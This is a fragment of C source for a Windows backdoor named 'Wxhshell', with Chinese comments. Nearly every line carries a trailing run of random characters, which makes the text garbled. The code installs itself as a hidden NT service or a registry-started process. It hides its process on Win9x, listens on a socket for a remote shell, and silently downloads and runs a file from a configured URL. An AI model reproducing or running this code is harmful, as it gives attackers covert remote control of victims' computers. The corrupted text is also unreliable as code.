ULONG UniqueProcessId; DzPs!(5[I
ULONG InheritedFromUniqueProcessId; WF/l7u#4i
} PROCESS_BASIC_INFORMATION; $o^e:Y,
a
8Z:Ezg3^
PROCNTQSIP NtQueryInformationProcess; M\yHUS6N
*fP(6e#G,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cw+g
z!!
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;,0lUcV
IT1PPm
HANDLE hProcess; ZPF7m{S
PROCESS_BASIC_INFORMATION pbi; Z( #Ln
bag&BHw
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k_Tswf3
if(NULL == hInst ) return 0; uMDtdC8
N?+eWY
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @*_ZoO7{
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ea4
* o
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gUGOHd(A
MW]8;`|jC
if (!NtQueryInformationProcess) return 0; bp Ml =_
Uk02IOXQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @,YlmX}
if(!hProcess) return 0; +\U]p_Fo3
,F}r@
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c
`ud;lI
E&9!1!B
CloseHandle(hProcess); {~nvs4X
j=Q$K#sBt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A:c]1
if(hProcess==NULL) return 0; :Q=z=`*2w
:K;T Q
HMODULE hMod; H%cp^G
char procName[255]; >3+FZ@.iT
unsigned long cbNeeded; s<d!+<
vQy$[D*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 55,=[
+]_nbWL(%
CloseHandle(hProcess); (tpof
5a
K@*rVor{
if(strstr(procName,"services")) return 1; // 以服务启动 Wk,6) jS=}
bk0Y
return 0; // 注册表启动 .
Jb?]n
} OFIMi^@
RE*WM3QK~
// 主模块 D-~G|8g
int StartWxhshell(LPSTR lpCmdLine) N-D(y
{ n+X1AOE[L
SOCKET wsl; }U(\~
=D
BOOL val=TRUE; ^J0zXe -d
int port=0; QP+c?ct}hF
struct sockaddr_in door; .B6`OX&k
mZ~mf->%
if(wscfg.ws_autoins) Install(); T7^ulG1'
0n\^$WY
port=atoi(lpCmdLine); WBy[m ?d
EZ..^M3
if(port<=0) port=wscfg.ws_port; UBL(N r
Gee~>:_Q{J
WSADATA data; gH5CB%)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2ve
lH;
+O&RBEa[
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1 pa*T!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wH+FFXGJs
door.sin_family = AF_INET; *Ao2j;
door.sin_addr.s_addr = inet_addr("127.0.0.1"); {ms,q_Zr
door.sin_port = htons(port); ESn6D@"
W]Y@WKeT
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tt{U"EFO
closesocket(wsl); A<mj8qz
return 1; Po'-z<}wS
} }Q!h ov
*~"zV`*Q
if(listen(wsl,2) == INVALID_SOCKET) { lTxY6vi
closesocket(wsl); s.VUdR"
return 1; VV?]U$
} caGML|DeI
Wxhshell(wsl); wy,Jw3
WSACleanup(); 9BqQ^`bu
>]:N?[Y_~}
return 0; cSY2#u|v
N|UBaPS|o
} c_@XQ&DC`
_7r qXkp%
// 以NT服务方式启动 ;[;)P tFz\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %y~`"l$-
{ &?KPu?9
DWORD status = 0; 8W19#?7>B
DWORD specificError = 0xfffffff; xP8iz?6"V
[54@i rH
serviceStatus.dwServiceType = SERVICE_WIN32; g,00'z_D
serviceStatus.dwCurrentState = SERVICE_START_PENDING; r{pI-$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ."~7 \E> t
serviceStatus.dwWin32ExitCode = 0; b}ySZlmy
serviceStatus.dwServiceSpecificExitCode = 0; fl} rz
serviceStatus.dwCheckPoint = 0; S
23S.]r
serviceStatus.dwWaitHint = 0; Vpug"aR&_
u~'m7
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8vz_~p9%j
if (hServiceStatusHandle==0) return; Gl?P.BCW.&
P`\m9"7
status = GetLastError(); PY^^^01P
if (status!=NO_ERROR) [<#<:h&\
{ uB5h9&57
serviceStatus.dwCurrentState = SERVICE_STOPPED; ^ 4u3Q
serviceStatus.dwCheckPoint = 0; J{nyo1A
serviceStatus.dwWaitHint = 0; y)?W-5zL
serviceStatus.dwWin32ExitCode = status; JVJ1Ay/be
serviceStatus.dwServiceSpecificExitCode = specificError; 8\qCj.>S
SetServiceStatus(hServiceStatusHandle, &serviceStatus); L Q I: ]d
return; ]C}u-B746
} Gt\K Ln
6e$sA (a=i
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9#Aipu\
serviceStatus.dwCheckPoint = 0; O84v*=u A
serviceStatus.dwWaitHint = 0; ;
McIxvj
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jV,(P$ 5;
} ooLnJY#
}5o~R~H
// 处理NT服务事件,比如:启动、停止 U}RS*7`
VOID WINAPI NTServiceHandler(DWORD fdwControl) P`Hd*xh".j
{ [6,]9|~
switch(fdwControl) an$]IN
{ :|n>H+Y
case SERVICE_CONTROL_STOP: 1c<CEq:?e%
serviceStatus.dwWin32ExitCode = 0; v
GR
\GFm
serviceStatus.dwCurrentState = SERVICE_STOPPED; w+).pcG(*
serviceStatus.dwCheckPoint = 0; 5I8FD".i
serviceStatus.dwWaitHint = 0; F9u:8;\@`
{ ~`G;=ITo
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }Ll3AR7\
} hVT=j ?~
return; UALg!M#
case SERVICE_CONTROL_PAUSE: |7S4;
serviceStatus.dwCurrentState = SERVICE_PAUSED; }> !"SU:d
break; "x:)$@
case SERVICE_CONTROL_CONTINUE: c5=v`hv
serviceStatus.dwCurrentState = SERVICE_RUNNING; (jo(bbpj
break; A5.'h<
case SERVICE_CONTROL_INTERROGATE: *&hXJJ[+
break; RK~FT/
}; 9p[W :)P4d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <D;H}ef
} G3_mWppH
bn*{*=(|
// 标准应用程序主函数 #)PGQ)(
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -9H!j4]T?
{ xPfnyAo?%z
1(:=jOfk
// 获取操作系统版本 M[
~2,M&H
OsIsNt=GetOsVer(); :_~PU$%0
GetModuleFileName(NULL,ExeFile,MAX_PATH); (!>g8=`"
vY0V{u?J
// 从命令行安装 hyvV%z Z
if(strpbrk(lpCmdLine,"iI")) Install(); L>5!3b=b
/H;kYx
// 下载执行文件 X^
^?}>t[
if(wscfg.ws_downexe) { 7ck0S+N'b
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zy/tQGTr@
WinExec(wscfg.ws_filenam,SW_HIDE); ~g4rGz
} ,5<`+w#a
tFST.yT>zg
if(!OsIsNt) { 3 ?|; on
// 如果时win9x,隐藏进程并且设置为注册表启动 dT,m{[+
HideProc(); ^$Eiz.
StartWxhshell(lpCmdLine); <1g 1hqK3
} /"%IhX-
else qiKtR
if(StartFromService()) R:IS4AaS
// 以服务方式启动 D917[<$
StartServiceCtrlDispatcher(DispatchTable); xZ'`_x9l
else Mevyj;1t
// 普通方式启动 p4t!T=o/
StartWxhshell(lpCmdLine); u FYQ^
UVBw;V
return 0; %qjyk=z+Z
}